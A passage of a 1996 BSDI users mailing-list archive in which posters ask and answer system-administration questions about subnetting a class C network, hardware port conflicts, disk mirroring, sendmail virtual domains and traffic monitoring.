20:13:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA15350 for bsdi-users-outgoing; Thu, 7 Nov 1996 20:15:36 -0500 (EST) In-Reply-To: <01bbccd8.1b4612c0$0200a8c0@kevin.akorn.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: ff Sender: owner-bsdi-users@lists.gateway.com To: Kevin Sellars cc: info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 09:07:41 +0800 (BEIJING) On Thu, 7 Nov 1996, Kevin Sellars wrote: > I am interested in subnetting one of my class c ranges. I understand that > I can cut this into four 62 host networks by borrowing 2 bits of the host > number. What I don't understand is how this whole thing is directed > through routing. If anyone has any info, or URL's to sites that have > info, please email me directly. > TIA > Kevin > So,in the router you set the netmusk 255.255.255.192 and it will help the router know your four subnet,your four subnet netnumber. Why not have a look at RFC.. ----ff@public.fz.fj.cn------- ----zbfu@creation.fz.fj.cn--- From VM Fri Nov 8 01:48:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["693" "Thu" "7" "November" "1996" "20:52:49" "+0000" "Jim Cassata" "jim@web-ex.com" nil "22" "Urgent! Need Quick answer to Quick Question!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA08517 for ; Thu, 7 Nov 1996 20:50:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA15426 for bsdi-users-outgoing; Thu, 7 Nov 1996 20:48:27 -0500 (EST) Message-Id: <199611080224.VAA09272@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM (bsdi-users) Subject: Urgent! Need Quick answer to Quick Question! Date: Thu, 7 Nov 1996 20:52:49 +0000 Can anyone help me? I am trying to install BSDI 2.1 on a system that has a scsi 1.2 GB disk on an adaptec 1515 card and a NE2000 compatible Network card. Either one will come up on bootup, but both seem to want port address 340h. The SCSI card only has 140h as an option. The NE2000 has more options, but it seems to only work with 340h, irq5. My question, is it possible to get a scsi controller card up and running on 140h? I have to disable the card's BIOS for this address, according to the installation instructions. Thank YOU! Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Fri Nov 8 01:48:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1061" "Thu" "7" "November" "1996" "18:02:08" "-0800" "Andrew Longsworth" "andrew@industries.net" nil "25" "Mirroring Hard Drives" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08788 for ; Thu, 7 Nov 1996 21:03:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA15453 for bsdi-users-outgoing; Thu, 7 Nov 1996 21:02:54 -0500 (EST) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Andrew Longsworth Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Mirroring Hard Drives Date: Thu, 7 Nov 1996 18:02:08 -0800 I am in need of some help with a problem that I can't seem to solve satisfactorily. I am trying to come up with a procedure to mirror two IDE drives (at /dev/wd0 and /dev/wd2) every evening, with a minimum amount of slowdown time for the system. I thought of using the dump command: dump 0f - / | ( cd /mount/ ; restore xf - ) or somesuch, but that tends to not delete files that already exist on the destination drive, and especially, leave in place files that have been deleted. This is fine for the original disk mirror, but doesn't help a heck of a lot for the successive evenings (yes, I did try incrementing the dump level, and that still leaves files that have been deleted, and also tries to overwrite directories that have been modified). In brief, my hope is that perhaps there is some program/script out there that quickly mirrors IDE drives, and handles subsequent updates in a non-intensive manner. I will re-post a summary of responses to the list and anyone who requests it. Thanks in advance for your assistance, Andrew Puzzled Unix Guy From VM Fri Nov 8 01:48:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["400" "Thu" "7" "November" "1996" "20:29:27" "-0500" "Brian Backer" "bbacker@blink.net" nil "19" "Re: Release date for 3.0?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08793 for ; Thu, 7 Nov 1996 21:04:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA15473 for bsdi-users-outgoing; Thu, 7 Nov 1996 21:07:26 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell cc: bsdi-users@BSDI.COM Subject: Re: Release date for 3.0? Date: Thu, 7 Nov 1996 20:29:27 -0500 (EST) I chose to stall :) On Sun, 3 Nov 1996, Jeff Campbell wrote: > > I know 3.0 is expected sometime between now and year end. Was > wondering if anyone could be more specific. I have some large purchases > that need to be made in the next 6 weeks, and I'd like an idea of if I > should stall because 3.0 will be there, or if I shouldn't hold my breath. > > Any ideas? > > -- > Jeff > > > From VM Fri Nov 8 01:48:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["248" "Thu" "7" "November" "1996" "21:58:17" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "11" "starup errors" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA10438 for ; Thu, 7 Nov 1996 22:04:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA15720 for bsdi-users-outgoing; Thu, 7 Nov 1996 22:00:27 -0500 (EST) Message-Id: <1.5.4.32.19961108025817.008a3904@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: starup errors Date: Thu, 07 Nov 1996 21:58:17 -0500 Heres a message I get when I boot my system in the daemon.log file, is this normal or did I miss somthing. Nov 7 21:23:17 Vector inetd[422]: systat/udp: unknown service Nov 7 21:23:17 Vector inetd[422]: qotd/udp: unknown service Thanks Roch From VM Fri Nov 8 01:48:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["402" "Thu" "7" "November" "1996" "22:20:22" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "13" "adding 2nd hard " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA10977 for ; Thu, 7 Nov 1996 22:23:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA15873 for bsdi-users-outgoing; Thu, 7 Nov 1996 22:22:35 -0500 (EST) Message-Id: <1.5.4.32.19961108032022.0068d888@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: adding 2nd hard Date: Thu, 07 Nov 1996 22:20:22 -0500 I'm thinking about adding a 2nd scsi hard disk to my machine and wondering if the intructions for installing a 2nd hard disk are the same as the first except for sd1 instead of sd0??? I have the Unix sys adm hanbook were the document adding a disk p 166 and wondering if its complete and step by step or I might have some suprises when I get started. Don't want to be donw to long. Thanks Roch From VM Fri Nov 8 01:48:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1893" "Thu" "7" "November" "1996" "22:38:21" "-0500" "Mike Pistone" "pistone@eurekanet.com" nil "51" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA11783 for ; Thu, 7 Nov 1996 22:57:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA15996 for bsdi-users-outgoing; Thu, 7 Nov 1996 22:54:02 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pistone Sender: owner-bsdi-users@lists.gateway.com To: Ross Wheeler cc: BSDI USERS LIST Subject: Re: Tracking Usage Date: Thu, 7 Nov 1996 22:38:21 -0500 (EST) I use a program called "trafshow". It takes the tcpdump info and gives you some good info, such as avg cps, bytes send, local address, remote address, basicly it shows all traffic. It works for me. I can post the sorce file if people are interested. Mike Pistone Systems Administrator Eureka Networks On Fri, 8 Nov 1996, Ross Wheeler wrote: > I have a desire to monitor usage of our links to determine where > bandwidth is being used. Not so much "what" as "by who". > > I've a BSDI box running a terminal server. There are accounts with static > IPs, and dynamic IPs. There are also, on the same network, other machines > with static IPs. > > All pass through one router to the "outside world", so all are accessable > on one ethernet segment. > > The complication comes when one address (say xx.xx.xx.32, which belongs > to a particular modem in the pool) may be used by any number of users. > (only one at a time!). tcpdump, output to a file and analysed could be > pressed into operation, but it seems horribly cumbersome. > > What I really want is a report that shows (over a given timeframe: > day/week/month?) > ------ Local network ----- ----- Remote networks ----- > Userid Bytes Sent Bytes Recd Bytes Sent Bytes Recd > > Where there is no Userid (like a host connected to the local network) > Machine name or IP address would be fine. > > I'm not particularly worried about it being accurate to the last byte, > a good indicator will do. If it's 100% accurate, that's better though :-) > > I'm sure I saw something on the list 3 or 4 months ago, but can't find it > on nexial, or on Altavista. I didn't have a need for it at the time, so > didn't save a copy of the message either :-( > > If someone has suggestions of where to look, uses it (or wrote one of > their own) please let me know! > > Regards, RossW > From VM Fri Nov 8 01:48:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["591" "Fri" "8" "November" "1996" "15:14:27" "+1100" "Richard Perini" "rpp@ci.com.au" nil "15" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA12336 for ; Thu, 7 Nov 1996 23:12:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA16116 for bsdi-users-outgoing; Thu, 7 Nov 1996 23:15:04 -0500 (EST) Message-Id: <199611080414.PAA21459@mippet.ci.com.au> In-Reply-To: from "Mike Pistone" at Nov 7, 96 10:38:21 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Richard Perini Sender: owner-bsdi-users@lists.gateway.com To: pistone@eurekanet.com (Mike Pistone) Cc: bsdi-users@BSDI.COM Subject: Re: Tracking Usage Date: Fri, 8 Nov 1996 15:14:27 +1100 (EST) | | I use a program called "trafshow". It takes the tcpdump info and gives | you some good info, such as avg cps, bytes send, local address, remote | address, basicly it shows all traffic. It works for me. | | I can post the sorce file if people are interested. Please don't post the sources - they're available on ftp.bsdi.com and its mirrors. -- Richard Perini Internet: rpp@cis.net.au Corinthian Internet Services Phone: +61 2 9906 4333 Sydney, Australia Fax: +61 2 9906 1556 From VM Fri Nov 8 01:48:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["132" "Thu" "7" "November" "1996" "21:28:03" "-0700" "Joe Ilacqua" "spike@indra.com" nil "5" "NV and CU-SEEME" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA12877 for ; Thu, 7 Nov 1996 23:33:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA16152 for bsdi-users-outgoing; Thu, 7 Nov 1996 23:28:32 -0500 (EST) Message-Id: <199611080428.VAA00252@coke.indra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Precedence: bulk From: Joe Ilacqua Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: NV and CU-SEEME Date: Thu, 07 Nov 1996 21:28:03 -0700 Does anyone have NV running under 2.1? The stock version doesn't seem to work with tk 4.X. How about a CU-SEEME client? ->Spike From VM Fri Nov 8 01:48:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["537" "Fri" "8" "November" "1996" "15:15:33" "+1030" "David Newall" "davidn@rebel.net.au" nil "13" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA13149 for ; Thu, 7 Nov 1996 23:42:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA16181 for bsdi-users-outgoing; Thu, 7 Nov 1996 23:46:04 -0500 (EST) Message-Id: <199611080445.PAA15823@rebel.net.au> In-Reply-To: from "Dean Anderson" at Nov 7, 96 07:54:08 pm Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: dean@av8.com (Dean Anderson) Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 15:15:33 +1030 (CST) Dean Anderson wrote: > subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets > or just subnet 0. > subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all > subnets or just subnet 3. This is true? It's not how I understand subnets. I do know that host 63 on subnet 3 is special (it's the broadcast for the complete class C), and maybe host 0 on subnet 0 is also special, but I did think that otherwise use of those subnets was kocher. [Standard disclaimer: These are my private opinions] From VM Fri Nov 8 18:55:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2773" "Fri" "8" "November" "1996" "11:08:24" "-0400" "Dean Anderson" "dean@av8.com" nil "75" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA03924 for ; Fri, 8 Nov 1996 11:19:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA18969 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:11:57 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: David Newall Cc: bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 11:08:24 -0400 >Dean Anderson wrote: >> subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets >> or just subnet 0. >> subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all >> subnets or just subnet 3. > >This is true? It's not how I understand subnets. I do know that host >63 on subnet 3 is special (it's the broadcast for the complete class C), >and maybe host 0 on subnet 0 is also special, but I did think that otherwise >use of those subnets was kocher. You can configure four subnets, and things will route fine between hosts. However remote machines such as network monitors (ala HP Openview) don't know what the mask is. They use a default for a class C. Trouble is, who gets the broadcast? The answer is that it depends on your router vendor. Bear in mind that subnets are most commonly done on class B networks, with a typical 8 bit subnet mask (making a 24 bit netmask). Since there are in that case 255 total subnets, losing the two (subnet 0 and subnet 255) are of little consequence. Check out rfc1219: (and rfc950) > Mirror-image Counting: Normal counting, in binary, causes one > bits to start at the right and work left. This is how host > values are assigned. However, for subnet assignment, we want > the one bits to start at the left and work right. This process > is the mirror image of normal counting, where the MSB is swapped > with the LSB, the second MSB is swapped with the second LSB, and > so on. So, where normal counting is: > > 0 (reserved to mean "this host") > 01 > 10 > 011 > 100 > 101 > : > : > 11...1110 > 11...1111 (reserved to mean "all hosts") > > and so on, Mirror-image, or MI counting, is: > > > >Tsuchiya [Page 6] > >RFC 1219 On the Assignment of Subnet Numbers April 1991 > > > 0 (reserved to mean "this subnet") > 10 > 01 > 110 > 001 > 101 > : > : > 011...11 > 111...11 (reserved to mean "all subnets") > > and so on. If the current MI counting value is, say, 001, > the "next" MI value is 101, and the "previous" MI value is 11. > Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! 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Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Fri Nov 8 18:55:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["639" "Fri" "8" "November" "1996" "05:54:30" "-0500" "system operator" "bsdi@mohawk.net" nil "13" "Re: ftp problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA03929 for ; Fri, 8 Nov 1996 11:20:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA19015 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:20:48 -0500 (EST) In-Reply-To: <1.5.4.32.19961107234151.008ac570@204.101.127.2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau cc: bsdi-users@BSDI.COM Subject: Re: ftp problems Date: Fri, 8 Nov 1996 05:54:30 -0500 (EST) > Our customers seem to be having problems downloading files from our ftp > site. The connection seems to work ok, it downloads 60-70-90% of the file > and tehn just stalls. When this happens you open Eudora or telnet and cannot > make any connections to our box, must disconnect and start over. Does this happen for all customers or just some or only one customer? Could this perhaps be a flow control problem? Perhaps the customer has inadvertently set xon/xoff flow control? Everything will appear to be working fine until a byte that equals xoff is received. Then all will stop. Disconnecting will be the only relief. - Ralph From VM Fri Nov 8 18:55:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["652" "Fri" "8" "November" "1996" "08:31:09" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "23" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA03930 for ; Fri, 8 Nov 1996 11:20:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA18981 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:12:58 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: system operator cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 08:31:09 -0800 (PST) Yes. I did try to kill -HUP my pid. But had no luck with that. I have it working now. Thanks for the help. Chris On Fri, 8 Nov 1996, system operator wrote: > > I was wondering if it was necessary to configure the sendmail.cf file for > > setting up virtual domain email addresses? > > No, it is not. > > > I have MX files set up in my named DNS files, have added the domain to > > the sendmail.cw, and I am able to send mail to the domain with my domain > > but when it comes time to receive mail from a different domain, the mail > > is rejected. > > Did you kill -HUP sendmail so it would read the new .cw file? > > - Ralph > > From VM Fri Nov 8 18:55:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["695" "Fri" "8" "November" "1996" "08:59:07" "-0500" "system operator" "bsdi@mohawk.net" nil "17" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA03938 for ; Fri, 8 Nov 1996 11:20:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA18999 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:17:45 -0500 (EST) In-Reply-To: <199611081321.IAA12987@crystal.palace.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: "Matthew R. Sheahan" cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 08:59:07 -0500 (EST) > Merging the namespace of all the domains rather than maintaining them > separately means that only one of your users will be able to use an > address of "info@domain.com", for example; postmaster@domain.com and > webmaster@domain.com always be delivered to you rather than customers... I agree that shared namespace is more desirable. Indeed, for the sites I administer, shared namespace is implemented, but without hacking sendmail.cf which many of us regard as a bit much. Fortunately, BSDI offers an alternative called 'mailroom'. Refer to the bsd/os release notes, page 116, 'Shared E-mail Namespace'. - Ralph p.s. I heartily applaud those who have the stamina to learn sendmail.cf From VM Fri Nov 8 18:55:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["858" "Fri" "8" "November" "1996" "05:33:17" "-0500" "system operator" "bsdi@mohawk.net" nil "25" "RE: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA03939 for ; Fri, 8 Nov 1996 11:20:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA19016 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:20:52 -0500 (EST) In-Reply-To: <01BBCC27.BB8EA820@jeffrl.wantabe.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: system operator Sender: owner-bsdi-users@lists.gateway.com To: Jeffrey J Libman cc: "bsdi-users@BSDI.COM" , "'Chris McGlasson'" Subject: RE: Virtual Domain Email Date: Fri, 8 Nov 1996 05:33:17 -0500 (EST) > yes, it is necessary to configure sendmail.cf. No, it is not. I've been running virtual domain for years and have never once bothered with sendmail.cf. The least one needs to do (assuming dns is done) is make the entry in sendmail.cw and restart sendmail. Then mail for the virtual domain is delivered to the username if the username exists, or rejected as 'User Unknown' otherwise. Again, this assumes correct MX records in the dns. > i have a solution which > involves changing the configuration only once, then simply maintaining a > database or two. > > check out my solution at: > http://www.sinbad.wantabe.com/virtualmail This is a good solution. You must have gone mad reading the sendmail book :) Another good solution (I feel) is BSDI's mailroom, the instructions for which begin on (I think) page 116 in the release notes. - Ralph From VM Fri Nov 8 18:55:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1862" "Fri" "8" "November" "1996" "09:42:45" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "43" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA03945 for ; Fri, 8 Nov 1996 11:21:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA18975 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:12:21 -0500 (EST) Posted-Date: Fri, 8 Nov 1996 09:42:45 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: Dean Anderson cc: Kevin Sellars , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 09:42:45 -0500 (EST) On Thu, 7 Nov 1996, Dean Anderson wrote: > You set up a subnet mask. Class C has a 24bit mask. You can change the > netmask to include more bits in the network part. However, you only get > two 62 host networks without creating broadcast ambiguities. > > 0xffffffc0 is the netmask for interfaces on this subnetted network. > > subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets > or just subnet 0. > subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all > subnets or just subnet 3. > > Subnet 1 and Subnet 2 can be assigned without ambiguity. Right, this is what it indicates in the Netware CNE course documents, but the point is, it's only ambiguous if you assume a 24 bit mask based on the class-C-ness of the first two bits of the address, and ignore the manually specified subnet mask. There's no ambiguity if the hardware observes the full 26 bits of the netmask. Then, 192.168.10.[00000000] or 192.168.10.[00111111] are the ^^ broadcasts to network "00", 192.168.10.[01000000] or 192.168.10.[01111111] goes to net "01" ^^ ^^ 192.168.10.[10000000] or 192.168.10.[10111111] goes to net "10" and, ^^ ^^ 192.168.10.[11000000] or 192.168.10.[11111111] goes to net "11". ^^ ^^ You also have to specify which broadcast method you're using, the "all-0" or "all-1". My wife works for a site where they're doing this and using all four networks without any problems. I hate the way the Netware book presents that topic. To be more specific: ifconfig ef0 inet 192.168.10.1 netmask 255.255.255.192 bcast 192.168.10.63 ifconfig le0 inet 192.168.10.65 netmask 255.255.255.192 bcast 192.168.10.127 ifconfig en0 inet 192.168.10.129 netmask 255.255.255.192 bcast 192.168.10.191 ifconfig et0 inet 192.168.10.193 netmask 255.255.255.192 bcast 192.168.10.255 -Mike Pelletier. From VM Fri Nov 8 18:55:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1888" "Fri" "8" "November" "1996" "16:47:20" "+0100" "Ray Davis" "rdavis@masschaos.de.convex.com" nil "50" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA04227 for ; Fri, 8 Nov 1996 11:28:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA19077 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:30:50 -0500 (EST) Message-Id: <9611081647.ZM21895@masschaos.de.convex.com> In-Reply-To: dean@av8.com (Dean Anderson) "Re: subnetting class c address" (Nov 7, 19:54) References: X-Mailer: Z-Mail (3.2.1 10oct95) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Ray Davis" Sender: owner-bsdi-users@lists.gateway.com To: "Kevin Sellars" , bsdi-users@BSDI.COM Subject: Re: subnetting class c address Date: Fri, 8 Nov 1996 16:47:20 +0100 > >I am interested in subnetting one of my class c ranges. I understand that > >I can cut this into four 62 host networks by borrowing 2 bits of the host > >number. What I don't understand is how this whole thing is directed > >through routing. If anyone has any info, or URL's to sites that have > >info, please email me directly. > > You set up a subnet mask. Class C has a 24bit mask. You can change the > netmask to include more bits in the network part. However, you only get > two 62 host networks without creating broadcast ambiguities. > > 0xffffffc0 is the netmask for interfaces on this subnetted network. > > subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets > or just subnet 0. > subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all > subnets or just subnet 3. > > Subnet 1 and Subnet 2 can be assigned without ambiguity. It's not that you can't use subnet 0 and 3, but that you can't use the first and last IP address in each subnet. You can still use all four subnets without problems - unless you have real old equipment that can't understand subnets other than 24bit (like old ciscos). But even then you can usually configure around it. So for example, splitting 123.123.123.0 into 4 subnets you get: Subnet IP: 123.123.123.0 Broadcast IP: 123.123.123.63 # of hosts: 62 Host range: 123.123.123.1 - 123.123.123.62 Subnet IP: 123.123.123.64 Broadcast IP: 123.123.123.127 # of hosts: 62 Host range: 123.123.123.65 - 123.123.123.126 Subnet IP: 123.123.123.128 Broadcast IP: 123.123.123.191 # of hosts: 62 Host range: 123.123.123.129 - 123.123.123.190 Subnet IP: 123.123.123.192 Broadcast IP: 123.123.123.255 # of hosts: 62 Host range: 123.123.123.193 - 123.123.123.254 Hope that helps, Ray From VM Fri Nov 8 18:55:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1051" "Fri" "8" "November" "1996" "08:21:42" "-0500" "Matthew R. Sheahan" "chaos@crystal.palace.net" nil "20" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA04231 for ; Fri, 8 Nov 1996 11:29:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA19038 for bsdi-users-outgoing; Fri, 8 Nov 1996 11:28:22 -0500 (EST) Message-Id: <199611081321.IAA12987@crystal.palace.net> In-Reply-To: from "system operator" at Nov 8, 96 05:16:34 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: "Matthew R. Sheahan" Sender: owner-bsdi-users@lists.gateway.com To: bsdi@mohawk.net (system operator) Cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Fri, 8 Nov 1996 08:21:42 -0500 (EST) > > Aside from the need to kill and restart sendmail, that sounds like it > > should work. However, the Cw approach has a number of drawbacks over > > the other main strategy of delivering mail for all addresses under the > > domain to a user account. > Could you elaborate on the drawbacks? - Ralph Huntington Merging the namespace of all the domains rather than maintaining them separately means that only one of your users will be able to use an address of "info@domain.com", for example; postmaster@domain.com and webmaster@domain.com 